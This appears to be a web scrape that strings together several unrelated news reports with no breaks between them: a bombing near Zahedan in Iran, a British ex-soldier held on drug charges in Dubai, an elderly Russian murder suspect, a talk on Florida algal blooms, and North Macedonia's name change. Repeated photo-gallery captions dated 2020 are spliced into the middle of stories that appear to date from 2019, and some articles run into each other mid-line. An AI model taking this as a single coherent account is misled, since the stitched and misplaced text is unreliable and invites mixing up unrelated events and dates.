Video footage taken in the aftermath of the bombing showed debris and splotches of what appeared to be blood along a remote desert roadway.

The attack will likely raise tensions between Tehran and regional rivals it accuses of backing militant groups along its borders. A statement issued by the Revolutionary Guards described the perpetrators of the attack as terrorists and mercenaries of the intelligence services of hegemonic powers."

Iranian state media said the bombing took place near the village of Chanali, on the outskirts of the remote city of Zahedan, a desert crossroads that lies near borders with both Afghanistan and Pakistan. The region is known as a crossroads for narcotics trafficking gangs and jihadi networks sometimes rooted in local tribes. It is also at the heart of homeland for ethnic Baluchis who live in Iran, Afghanistan and Pakistan and have been pining for cultural and political rights.

Israel attack Iran targets in Syria: overnight airstrike in pictures Show all 10 1 /10 Israel attack Iran targets in Syria: overnight airstrike in pictures Israel attack Iran targets in Syria: overnight airstrike in pictures Missiles rise into the sky as Israeli missiles hit air defense position and other military bases, in Damascus Syrian Central Military Media, via AP Israel attack Iran targets in Syria: overnight airstrike in pictures Missile fire is seen from Damascus Reuters Israel attack Iran targets in Syria: overnight airstrike in pictures An Israeli flag is seen placed on Mount Bental in the Israeli-annexed Golan Heights. Israel's army said today it had carried out widespread raids against Iranian targets in Syria overnight after rocket fire towards its forces it blamed on Iran, marking a sharp escalation between the two enemies. Israel carried out the raids after it said around 20 rockets, either Fajr or Grad type, were fired from Syria at its forces in the occupied Golan Heights at around midnight. AFP/Getty Israel attack Iran targets in Syria: overnight airstrike in pictures The Israeli military on Thursday said it attacked "dozens" of Iranian targets in neighboring Syria in response to an Iranian rocket barrage on Israeli positions in the Golan Heights AP Israel attack Iran targets in Syria: overnight airstrike in pictures Israeli artillery deployed missiles toward Syrian military targets, on the Golan Heights EPA Israel attack Iran targets in Syria: overnight airstrike in pictures Missile fire is seen over Daraa Reuters Israel attack Iran targets in Syria: overnight airstrike in pictures Air defence systems intercepting Israeli missiles over Syrian airspace AFP/SANA Israel attack Iran targets in Syria: overnight airstrike in pictures Israeli soldiers walk among armored vehicles in the Israeli-occupied Golan Heights Reuters Israel attack Iran targets in Syria: overnight airstrike in pictures Syrian air defense missiles are seen in the sky over the capital Damascus EPA Israel attack Iran targets in Syria: overnight airstrike in pictures Air defence systems intercepting Israeli missiles over Syrian airspace. Israeli missile strikes fired at Syria hit military bases, as well as an arms depot and military radar. AFP/SANA

Violence between Iranian security forces, including the Revolutionary Guard and border personnel, and various traffickers and militant groups along the southwest border is common. Jeish al-Adl carried out a 2017 ambush which killed nine Iranian border guards on patrol.

The group was formed in 2012 out of remnants of Jundollah, or soldiers of God, another militant group whose leaders were captured by Iran while on a flight from the United Arab Emirates, part of the alliance of anti-Tehran countries.

 Scene after attack on military parade in Iran

The scale of Wednesdays attack, and its coinciding with Middle East summit in Warsaw perceived in Tehran as an anti-Iran gathering, may prompt Iran to respond.

A multi-pronged attack last year on a military parade in Irans southwest left scores dead and wounded and raised tensions between Tehran and Europe, which was accused of harbouring a group first thought behind the violence.

Days after the attack, security forces in Denmark foiled what they would later describe as an attempted Iranian-backed plot targeting the Iranian Arab exile group some believed was behind the ambush on the parade. Tehran has denied the allegations.A British ex-serviceman recovering from post-traumatic stress disorder (PTSD) has been detained in a Dubai prison on drug charges for the past four months, according to a legal advocacy group.

Former corporal Andrew Neal, a 44-year-old veteran of tours in Iraq and Afghanistan, was locked up by authorities in the United Arab Emirates (UAE) last October, the pressure group Detained in Dubai claimed.

The group said Mr Neal was made to sign a document in Arabic admitting he had handled drugs despite repeated denials of wrongdoing, and that he had been misled by police who told him the document reflected his denials and was not a confession.

The police drew up a statement in Arabic and forced Andy to sign it by way of his fingerprint, and when Andy complained that he had no idea what was written, the interrogator said, Exactly what you said, it added in a statement.

The Nottingham-born man, who moved to Dubai in 2015 with his wife and two children, was said to have been arrested at his home on 4 October, 2018. Officers allegedly punched Mr Neal twice in the stomach and pinned him against the wall before taking him to police headquarters.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

Although no drugs were found in his possession, Detained in Dubai said Mr Neal was told someone had identified him as having handled drugs.

Radha Stirling, chief executive of the pressure group, and Mr Neals family have called on foreign secretary Jeremy Hunt and Sherwood MP Mark Spencer to help in the case.

Andy should not spend another night in prison, let alone another four months, said Ms Stirling. It is shameful that law enforcement has a rubber stamp to ruin peoples lives, rob children of their parents, and jail innocent persons with impunity. How is it that forced confessions are still standard procedure in the UAE?

Mr Neal (Detained in Dubai)

The legal representative said she wanted the UK authorities to stand up for Andy Neal, a man who has dedicated much of his life to supporting the British forces abroad, and who was recovering from PTSD following his service in Iraq, Afghanistan and Bosnia.

A Foreign and Commonwealth Office spokesperson said: We are providing assistance to a British man after his arrest in Dubai and are in touch with his family and the UAE authorities.

Mr Spencer, the Conservative MP for the north Nottingham constituency, said: I am aware of Mr Neals case and know that this is a distressing time for him and his family, with whom my office is in contact. The Foreign Office is taking the lead on this matter and my office are liaising with them as they continue to provide assistance to Mr Neal and his family.

According to Detained in Dubai, the former soldier spent his first 17 hours in prison without food, water or access to a toilet. At his first court hearing, Mr Neal was informed he was one of 17 people arrested in a drugs sting.

The group claimed the witness who had apparently identified Mr Neal as a drug dealer in October then denied doing so at a court hearing in January, and that his statement was officially withdrawn by prosecutors.

But it said it was still waiting to hear whether the British citizen will be released or instead see his case transferred to authorities in the UAE capital Abu Dhabi.

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Detained in Dubai, which said it had been in contact with Mr Neals parents and family during the process, said he spent 24 years in the British Army from 1991, serving in the infantry before transferring to the Royal Army Veterinary Corps as a dog trainer and handler in 2009.

He was diagnosed with PTSD on his most recent deployment to Afghanistan, the group said. After leaving the armed forces and moving to Dubai in 2015, he started his own dog training business.

Ms Neal has allegedly only been allowed to visit her husband on Wednesdays while he remains in jail.

The Independent has contacted the UAEs embassy in the UK for comment.An 80-year-old woman suspected to be a serial killer is being investigated after her lodgers dismembered body parts were found in her fridge.

The retired farm worker was arrested on suspicion of murder after the 52-year-old victims remains were discovered in the village Berezovka, in the southeastern Khabarovsk territory.

Detectives now reportedly believe she could be linked to the disappearance of up to seven people.

Police launched an investigation on 30 January after stray dogs were seen fighting over body parts, including a human hand, torn out of packages dumped in the street, according to Russian newspaper Moskovskij Komsomolets.

Khabarovsks Investigative Committee said the victim was identified through his fingerprints as the elderly womans tenant, named in local media as Ukranian caretaker Vasily Shlyakhtich.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

Police found traces of Shlyakhtichs blood during a search of her flat and reportedly discovered his organs and flesh in the fridge.

The woman was taken into custody for questioning.

Neighbours told police they heard loud banging as if someone was chopping something hard with an axe on the day of the alleged murder, according to local news website DVHAB.ru. The arrested woman reportedly slaughtered pigs as part of her farm work.

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During a search of her home, police also found the passport of a woman who disappeared several years ago. Investigators now believe she may have been murdered.

They are also looking into possible links to the disappearance of six others who have gone missing in Berezovka in recent years.

They include Nina Babenkova, an 83-year-old who vanished after taking her dog for a walk in September. Her skull was later found near her home.

Shlyakhtich had been living in the village and working as a caretaker since autumn last year. He is said to have moved to Berezovka from Ukraine to be closer to his family.Having experienced a summer wrought with blue-green algae and red tide, residents across Southwest Florida are keeping their fingers crossed that another historic season of horrific harmful algal blooms is not looming.

The Calusa Waterkeeper, John Cassani, gave a PowerPoint presentation at the Cape Coral Library Monday afternoon, hosted by the League of Women Voters of Lee County Environmental Committee, to address what causes these events and how experts and residents alike can hope to present change in an area combating climate change and population growth.

One of, if not the biggest contributor to the deterioration of Florida waterbodies, are nutrients such as nitrogen and phosphorus that enter waterways via runoff.

Well, I think funding to enable the existing level of regulation so that its effective is a big part of it  and the governor has done that, in terms of laying it out for the Legislature to fund it. So, the blueprints there, its just up to the Legislature now to make it happen, Cassani said.

This growing nutrient problem is not exclusive to Southwest Florida, as many communities around the world with extensive bodies of water are feeling the effects of harmful algal blooms.

Lake Erie, for example, is facing a similar issue to that of Lake Okeechobee.

The more urban the land use, the more runoff of nutrients, said Cassani.

In Florida, the six largest harmful algal booms since 1990 have happened in the last seven years.

Last years events saw seven counties in Florida call for a state of emergency.

Cassani said we are currently in our 16th month of red tide and counting.

Other than nutrient laden waters, contributing factors to these blooms include climate change, record rain falls and population growth, he said.

Extreme rainfall causes extreme problems  driving runoff into water bodies, Cassani said.

Combine that with the loss of treatment wetlands, that act as a filter of sorts, we see what is called cyanobacteria, thrive.

Rising water levels during what would be typically called the dry season, can create releases of water from Lake Okeechobee to the Caloosahatchee, bringing the green slime into the hundreds of miles of canals in Cape Coral.

I think the most bang for the buck and the most immediate approach would be to revise the lake regulation schedule, I think that would be the best approach, said Cassani. Thats going to control when the waters released, under what circumstances, in relationship to the lake level. The purpose there is to bring more balance back to the schedule  so its not all about flood control and water supply to the south.

It seems like every time we have an extreme event, one way or the other  following a drought, or with a hurricane-related event, then we see a harmful algal bloom.

At one point this summer, 90 percent of Lake O was covered in cyanobacteria, or blue-green algae.

Water flowing from the north into Lake O is a big contributor to the algae blooms as well, said Cassani.

Cyanobacteria is a type of algae naturally present in freshwater environments. It is a microorganism that functions similarly to plants in that is feeds through photosynthesis and obtains energy from the sun.

A contributing factor to algal bloom can be increases in nutrients that amplify the extent, duration and intensity of these blooms.

Other factors can include warm temperatures, reduced water flow and lack of animals that eat algae.

The summer and fall seasons can procure this kind of algae in Florida waters. High temperatures and lots of sunlight, combined with runoff from almost daily rains can bring nutrients into waterways and provide the perfect conditions for blooms.

According to the Florida Department of Health, some blue-green algae produce chemicals called cyanotoxins. In high concentrations, these toxins can affect the liver, nervous system and skin.

The thing with public heath risk, is that it needs to be coordinated at the state level, Cassani said. You cant have 67 different county regulations for public health risk, it has to occur at the state level, as other states are doing. Ohio, Oregon, Maryland  they all have good numeric criteria for responding. But I think it needs to be done at the state level.

Of the threshold that has been set for clean water, Cassani said that he saw levels of toxicity 9,000 times over the risk-level.

Very little testing has been done about the dangers of air intake for residents living close to infested bodies of water.

The highest risks of contamination occur from ingesting harmful water, mostly during recreational activities.

This past summer was also a devastating one for Floridas sea life.

Cassani called it, The worst year for mortality in sea life in Floridas history.

He said a big reason for this, other than marine life ingesting toxins, was hypoxia.

Hypoxia is a lack of oxygen supply, and wide dead zones off of Florida shorelines resulted in mass mortality of eels, crabs, burrowing fish and other bottom-dwelling species.

Cassani noted that he believes Gov. Ron DeSantis is on the right track to bringing forward the legislation and funds needed to help the remediation process of our water.

I think the governors blueprint is a pretty good one, he said. Youre going to have to fund it to get the kind of compliance and enforcement thats necessary. And you have to accelerate restoration  (currently) were adding impaired water bodies quicker than were restoring them and that cant continue that way, its not sustainable.

DeSantis recently called for an additional $2.5 billion for Everglades restoration and water resources.

The Calusa Waterkeeper is one of 11 waterkeepers in Florida.

They look after Lake O, the Caloosahatchee and Greater Charlotte Harbor  nearly 1,000 miles of water in Southwest Florida.

For more information, including becoming a part of their Ranger program, visit www.calusawaterkeeper.org.

-Connect with this reporter on Twitter: @haddad_cjThe country formerly known as Macedonia has officially changed its name, in a bid to end a long-running dispute with its neighbour Greece.

The Balkan state sandwiched between Bulgaria and Albania will from here on be known as North Macedonia, in a nod to the existence of Greeces region of Macedonia.

The name change, which was agreed last year, came into force on Tuesday under the so-called Prespa Agreement.

We have just exchanged the final note verbale: Prespa Agreement enters into force! Nikola Dimitrov, North Macedonias foreign minister, said.

May today be the beginning of a long friendship between Greece and North Macedonia. We cant change our past, but we can and we will shape our future of friendship, partnership and cooperation.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family 